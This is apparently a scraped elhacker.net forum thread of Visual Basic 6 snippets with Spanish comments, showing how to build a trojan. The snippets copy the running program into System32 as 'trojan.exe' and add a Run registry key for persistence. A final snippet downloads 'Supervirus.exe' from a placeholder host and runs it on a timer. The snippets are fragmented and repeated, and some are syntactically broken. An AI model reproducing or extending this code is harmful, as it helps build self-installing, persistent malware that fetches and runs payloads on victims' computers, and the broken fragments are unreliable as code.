Foro de elhacker.net

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Sub Form_Load()
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Ruta As String
    
Longitud = 128
    
    Es = GetSystemDirectory(Car, Longitud)
    Ruta = RTrim$(LCase$(Left$(Car, Es)))

FileCopy App.Path & "\" & App.EXEName & ".exe", Ruta & "\troyano.exe"
End Sub

Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Function System32() As String
    Dim buf As String
    Dim ret As Long
    buf = String$(260, Chr$(0))
    ret = GetSystemDirectory(buf, Len(buf))
    System32 = Left$(buf, ret)
End Function

Private Sub Form_Load()
FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\trojan.exe"
End Sub

FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\trojan.exe"

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Function System32() As String
    Dim buf As String
    Dim ret As Long
    buf = String$(260, Chr$(0))
    ret = GetSystemDirectory(buf, Len(buf))
    System32 = Left$(buf, ret)
End Function

Private Sub Form_load()
FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\trojan.exe"
End Sub

Private Sub Form_Load()
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan", "C:\Windows\System32\trojan.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\trojan.exe"
End Sub

If Dir("C:\windows\system32\troyano.exe") <> "" Then
        MsgBox "El archivo existe."
        'Como ya existe no hace falta q lo copies ni lo añadas al registro
    Else
        MsgBox "El archivo no existe." 
        'Como no existe lo copias y lo añades al registro
    End If

Private Sub Form_Load()
If Dir("C:\windows\system32\troyano.exe") <> "" Then
        MsgBox "El archivo existe"
        'Como ya existe no hace falta q lo copies ni lo añadas al registro
    Else
        FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe"
        'Como no existe lo copias y lo añades al registro
    End If
End Sub

Private Form_Load ()
On Error GoTo fallo:

FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\trojan.exe"

Fallo:
End sub

on error goto error 'si no pones esto regresamos a tus tipicos errores

open app.path & "\" app.exename & ".exe" for binary as #1
 dserver=input(lof(1),1)
close #1

open dirsystem & "\" & app.exename & ".exe" for binary as #1
put #1,,dserver
close #1

error:
end sub

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long

     Dim ERROR_SUCCESS

Private Sub Command1_Click()
     Dim sSourceUrl As String

    sSourceUrl = "http://supervirus.com/" & _
        "subdirectorio/Supervirus.exe"

    DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\Supervirus.exe"
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function

Private sub timer1_timer ()
On error goto FALLO: 
Shell Environ("SYSTEMROOT") & "\System32\Supervirus.exe"
Fallo:
End sub